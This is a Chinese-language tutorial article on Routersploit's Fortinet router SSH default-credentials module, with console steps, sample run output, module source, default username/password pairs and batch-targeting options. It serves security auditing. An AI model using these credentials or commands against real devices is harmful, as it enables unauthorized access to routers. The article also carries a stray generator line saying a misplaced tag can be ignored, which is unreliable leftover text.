首页/新闻资讯/正文详情

Routersploit 实战:Fortinet 路由器 SSH 默认凭据检测模块(ssh_default_creds)解析

发布时间:2026/9/23 1:42:35 来源:云帆数科 栏目:资讯中心
Routersploit 实战:Fortinet 路由器 SSH 默认凭据检测模块(ssh_default_creds)解析
网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载导读本文聚焦 Routersploit 项目中的creds/routers/fortinet/ssh_default_creds模块讲解如何利用该模块对 Fortinet 路由器 SSH 服务执行默认凭据字典攻击并深入剖析其继承自通用 SSH 攻击框架的源码实现、参数体系与底层认证原理。阅读完本文你将掌握该模块从交互式命令操作到源码级工作机制的完整链路能够独立复现攻击流程、自定义凭据字典并通过测试用例验证模块行为。模块定位针对 Fortinet 路由器的 SSH 默认凭据探测在 Routersploit 的模块树中本模块位于creds/routers/fortinet/ssh_default_creds其官方描述为对 Fortinet 路由器 SSH 服务执行默认凭据字典攻击dictionary attack若发现有效凭据则展示给用户。它属于项目creds凭据类模块体系与同目录下的 ftp_default_creds.py、telnet_default_creds.py 共同构成针对 Fortinet 路由器的多协议默认凭据检测组合。该模块覆盖的设备类型在__info__中声明为Fortinet Router作者为 Marcin Buryroutersploit 模块。模块内置的默认凭据表针对 Fortinet 路由器常见出厂配置涵盖admin与maintainer两类账号。快速上手交互式验证步骤按照官方文档在 Routersploit 控制台中执行以下步骤即可完成一次完整的默认凭据探测启动框架./rsf.py加载模块use creds/routers/fortinet/ssh_default_creds设置目标set target [TargetIP]运行攻击run若发现有效凭据结果将以表格形式展示典型运行场景输出以下为官方文档给出的真实运行场景展示了完整的交互过程与结果输出rsf use creds/routers/fortinet/ssh_default_creds rsf (Fortinet Router Default SSH Creds) set target 192.168.1.1 [] target 192.168.1.1 rsf (Fortinet Router Default SSH Creds) run [*] Running module... [*] Target exposes SSH service [*] Starting default credentials attack against SSH service [*] thread-0 thread is starting... [-] SSH Authentication Failed - Username: admin Password: 12345 [-] SSH Authentication Failed - Username: admin Password: 123456 [-] SSH Authentication Failed - Username: Admin Password: 12345 [-] SSH Authentication Failed - Username: Admin Password: 123456 [] SSH Authentication Successful - Username: admin Password: admin [*] thread-0 thread is terminated. [*] Elapsed time: 2.3932292461395264 seconds [] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 22 ssh admin admin从输出可以看到完整执行链路服务探测Target exposes SSH service→ 逐条凭据尝试失败与成功均打印→ 线程收尾与耗时统计Elapsed time→ 结果表格汇总。模块源码实现薄封装 通用引擎该模块的核心实现非常精简完整源码位于 ssh_default_creds.pyfrom routersploit.core.exploit import * from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault class Exploit(SSHDefault): __info__ { name: Fortinet Router Default SSH Creds, description: Module performs dictionary attack against Fortinet Router SSH service. If valid credentials are found, they are displayed to the user., authors: ( Marcin Bury marcin[at]threat9.com, # routersploit module ), devices: ( Fortinet Router, ), } target OptIP(, Target IPv4, IPv6 address or file with ip:port (file://)) port OptPort(22, Target SSH port) threads OptInteger(1, Number of threads) defaults OptWordlist(admin:,maintainer:bcpbserial#,maintainer:admin, User:Pass or file with default credentials (file://))从源码结构看该模块是一个典型的设备定制化薄封装类Exploit直接继承自 generic/ssh_default.py 中的通用 SSH 默认凭据攻击引擎仅通过覆盖__info__元数据、调整默认端口与凭据表来适配 Fortinet 设备。这样做的好处是攻击逻辑、线程调度、结果展示等复杂机制全部复用通用实现各设备模块只需声明差异化配置。模块参数详解参数类型默认值说明targetOptIP空目标 IPv4 / IPv6 地址或file://开头的目标文件每行ip:portportOptPort22目标 SSH 端口threadsOptInteger1并发攻击线程数注意Fortinet 封装覆盖为 1通用模块默认为 8defaultsOptWordlistadmin:,maintainer:bcpbserial#,maintainer:adminUser:Pass凭据列表或以file://指向的外部词表文件stop_on_successOptBooltrue命中有效凭据后是否立即停止继承自通用模块verbosityOptBooltrue是否逐条打印认证尝试继承自通用模块Fortinet 内置凭据表由三组组成admin:—— 用户名admin空密码maintainer:bcpbserial#—— 用户名maintainer密码为bcpbserial#其中serial#指设备序列号该格式源自 Fortinet 早期固件的恢复机制约定maintainer:admin—— 用户名maintainer密码admin通用攻击引擎剖析真正的攻击逻辑位于 generic/ssh_default.py 的Exploit类中其工作流程分为四个阶段run()入口初始化凭据收集列表self.credentials []随后调用attack()attack()探测与调度被multi装饰器包装支持file://多目标批量攻击先调用check()确认目标开放 SSH 服务然后通过LockedIterator(self.defaults)构造线程安全的凭据迭代器调用run_threads()启动并发尝试target_function()逐条尝试每个线程从迭代器中取出User:Pass按首个:分割创建 SSH 客户端并调用ssh_client.login(username, password)认证成功后若stop_on_success为真则清空运行事件停止其他线程并把结果追加到credentials结果汇总run()结束时若存在有效凭据以表格打印目标、端口、服务、用户名、密码否则打印Credentials not found。线程调度与计时线程调度由核心框架的run_threads()实现见 exploit.py以threading.Event作为运行开关为每个线程命名thread-0、thread-1…… 依次启动最后统一join()并输出Elapsed time: x.xxxx seconds耗时统计。这正是运行场景中thread-0 thread is starting...与[*] Elapsed time: ...输出的来源。遇到KeyboardInterrupt时会清空运行事件优雅终止剩余线程。多目标批量攻击multi装饰器见 exploit.py支持将target设为file:///path/to/targets.txt文件每行一个目标格式ip或ip:port框架会逐行拆分并自动切换self.target与self.port从而实现对一批 Fortinet 路由器依次批量探测。凭据词表格式defaults使用OptWordlist类型见 option.py支持两种取值方式内联列表逗号分隔的User:Pass字符串如admin:admin,admin:12345外部文件file:///absolute/path/wordlist.txt文件每行一条User:Pass读取时自动strip()去空白。文件不存在时抛出不合法选项错误。底层 SSH 认证原理基于 Paramiko模块底层使用 paramiko 中的SSHCli类连接配置login()调用paramiko.SSHClient.connect()设置timeout8.0、banner_timeout8.0并显式关闭look_for_keys与allow_agent避免本地密钥或 SSH Agent 干扰纯密码认证认证判定捕获paramiko.AuthenticationException判定为认证失败打印SSH Authentication Failed - Username: xxx Password: yyy连接与认证成功则打印SSH Authentication Successful并返回True服务探测test_connect()使用随机用户名密码尝试连接若目标返回AuthenticationException而非网络层错误即可断定 SSH 服务存活——这正是运行输出中Target exposes SSH service的实现基础协议标识SSHClient类声明target_protocol Protocol.SSH使最终结果表中 Service 列显示为ssh。测试用例验证项目为每个凭据模块都配有对应测试Fortinet SSH 模块的测试位于 test_ssh_default_creds.py。测试断言了模块的关键默认值assert exploit.target assert exploit.port 22 assert exploit.threads 1 assert exploit.defaults [admin:, maintainer:bcpbserial#, maintainer:admin] assert exploit.stop_on_success is True assert exploit.verbosity is True同时测试使用generic_targetfixture一个模拟的 Telnet 服务见 conftest.py验证对非 SSH 服务执行check()返回Falsecheck_default()返回Nonerun()正常结束不抛异常——即模块对未开放 SSH 的目标具备良好的容错性。check_default()是mute装饰的静默检测方法供自动化审计场景调用而不污染输出。同厂商模块扩展如需检测 Fortinet 路由器的其他管理入口可参照同目录下的 ftp_default_creds.py端口 21与 telnet_default_creds.py端口 23三者共享同一份 Fortinet 默认凭据表与通用攻击引擎。此外官方文档目录 docs/modules/creds/routers/fortinet 提供了各协议的模块说明。使用前提与注意事项环境要求需在已安装 Routersploit 依赖含 paramiko的环境中运行通过./rsf.py启动交互式控制台授权边界默认凭据探测属于安全审计行为仅应对已获得书面授权的目标设备执行未经授权使用可能违反相关法律法规凭据局限性内置三组凭据为出厂常见默认值若目标已被修改默认口令模块将输出Credentials not found此时可扩展defaults词表后重试线程数权衡Fortinet 封装默认单线程threads 1追求速度可适当调大但过高的并发可能触发设备侧登录限速或封禁。无法成文该文档实际内容完整包含模块描述、验证步骤与完整运行场景输出具备充分技术内容故正常成文此标签为误置忽略即可。/无法成文赞分享网络安全嵌入式【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址https://gitcode.com/gh_mirrors/ro/routersploit点击查看免费下载相关推荐RouterSploit 中 Bhu 路由器默认 SSH 凭据检测模块ssh_default_creds实战指南RouterSploit 中 Bhu 路由器默认 SSH 凭据检测模块ssh_default_creds实战指南 RouterSploit 的 creds/网络安全嵌入式routersploit 中 Netsys 路由器 SSH 默认凭据检测模块实战指南ssh_default_credsroutersploit 中 Netsys 路由器 SSH 默认凭据检测模块实战指南ssh_default_creds 导读 本文围绕 routersplo网络安全嵌入式routersploit 实战指南使用 ssh_default_creds 模块检测 PFSense 路由器 SSH 默认凭据routersploit 实战指南使用 ssh_default_creds 模块检测 PFSense 路由器 SSH 默认凭据 导读 本文围绕 routers网络安全嵌入式创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

相关推荐

开源鸿蒙跨平台应用开发实战:网络请求与数据列表
开源鸿蒙跨平台应用开发实战:网络请求与数据列表

1. 开源鸿蒙跨平台应用开发概述作为一名在移动端开发领域深耕多年的工程师,我见证了从原生开发到跨平台技术的演进历程。开源鸿蒙(OpenHarmony)作为新兴的分布式操作系统,其跨平台能力正在重塑应用开发范式。这次我将分享一个完整… · 2026/9/23 1:42:35

RabbitMQ 3.11.9 维护版本深度解析:核心修复、全局权限命令与 OAuth2/AMQP 1.0 增强
RabbitMQ 3.11.9 维护版本深度解析:核心修复、全局权限命令与 OAuth2/AMQP 1.0 增强

RabbitMQ 3.11.9 维护版本深度解析:核心修复、全局权限命令与 OAuth2/AMQP 1.0 增强 【免费下载链接】rabbitmq-server Open source RabbitMQ: core server and tier 1 (built-in) plugins 项目地址: https://gitcode.com/gh_mirrors/ra/rabbitmq-server Rab… · 2026/9/23 1:42:29

jsd图解原理
jsd图解原理

JS速查手册:3分钟看懂JS核心,告别只会语法不会搭项目的尴尬 很多兄弟刚入行写代码,对着《JavaScript高级程序设计》啃了半个月,变量、循环、函数倒背如流。一让你做个“员工考勤打卡”或者“劳务工资单生成器”,脑子瞬间空白。这就是典型… · 2026/9/23 1:42:29

多特征融合图像检索系统:Python毕设源码与Milvus向量库实战
多特征融合图像检索系统:Python毕设源码与Milvus向量库实战

简介:这是一套面向计算机、人工智能、通信等专业学生与开发者的图像检索项目源码,基于Python实现多特征融合检索方案,可作为毕业设计、课程大作业或进阶练手项目。压缩包共68个文件,约2.03MB,以47个py源码文件为核心&a… · 2026/9/23 7:16:51

数据类型设计:从基础到高级实践
数据类型设计:从基础到高级实践

1. 数据类型设计的魅力与挑战"数据类型只能Dennis Ritchie说了算?"这个标题背后反映的是编程语言设计中一个永恒的话题——数据类型的构造与定义权。作为C语言之父,Dennis Ritchie在1970年代设计的C语言数据类型系统(如int、char、… · 2026/9/23 7:16:51

3000字干货 一文搞懂 三千大道 避坑指南
3000字干货 一文搞懂 三千大道 避坑指南

3000字干货 一文搞懂 三千大道 避坑指南 昨晚加完班,盯着屏幕上一堆红色的 StackTrace 报错,脑子直接宕机。那种感觉就像被无数只蚂蚁同时咬,每一个异常信息都指向不同的方向,根本找不到源头。很多初学者甚至资深工程师,在面对这种“… · 2026/9/23 7:16:51

打印机驱动安装全攻略:四种方法详解与避坑指南
打印机驱动安装全攻略:四种方法详解与避坑指南

打印机这东西,平时安安静静待在角落,一旦罢工,整个办公室都能听见有人喊“谁把驱动删了”。我见过太多人抱着打印机说明书翻半天,最后还是在网上随便下了一个来路不明的驱动包,结果装完系统蓝屏。也见过有人明明插着US… · 2026/9/23 7:16:45

KRAS G12D抑制剂:从不可成药到精准靶向的突破之路
KRAS G12D抑制剂:从不可成药到精准靶向的突破之路

先说一个很直接的观点:KRAS G12D这个靶点,过去三十年里一直被当成“不可成药”的典型,但最近几年,能直接把它按住的抑制剂已经一个个冒出来了。你如果一直在关注KRAS G12D抑制剂的研究进展,应该能明显感觉到&#xff0… · 2026/9/23 7:16:45

Python虚拟环境venv详解:从原理到企业级实践
Python虚拟环境venv详解:从原理到企业级实践

1. 虚拟环境为何成为Python开发刚需刚入行那会儿,我总喜欢用pip install直接往系统Python环境里装各种包。直到某天同时维护两个Django项目时,一个需要Django 2.2保持兼容性,另一个要用Django 3.0测试新特性,系统环境被折腾得一团… · 2026/9/23 7:16:45

3招搞定手机怎么下载微信面试难题实战项目解析
3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理,90%的人答不上来。别笑,这看似弱智的问题,实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人,他们背了八股文,却连一个A… · 2026/9/23 0:00:03

你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型
你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型

你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 面试被问“高并发下如何保证消息不丢失”,你张口就是“用Redis”,结果面试官追问“如果Redis宕机了怎么办”,你瞬间卡壳。这种场景太常见了,很多新手在背八股文时,只记住了技术名词… · 2026/9/23 0:00:29

Win7无线热点配置工具源码解析:解决API失效的3个实战技巧
Win7无线热点配置工具源码解析:解决API失效的3个实战技巧

Win7无线热点配置工具源码解析:解决API失效的3个实战技巧 Win7无线热点配置工具在Win10/11上跑不动?不是你的问题,是版本升级后 API 全变了。很多老项目里的 netsh wlan… · 2026/9/23 0:00:36

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码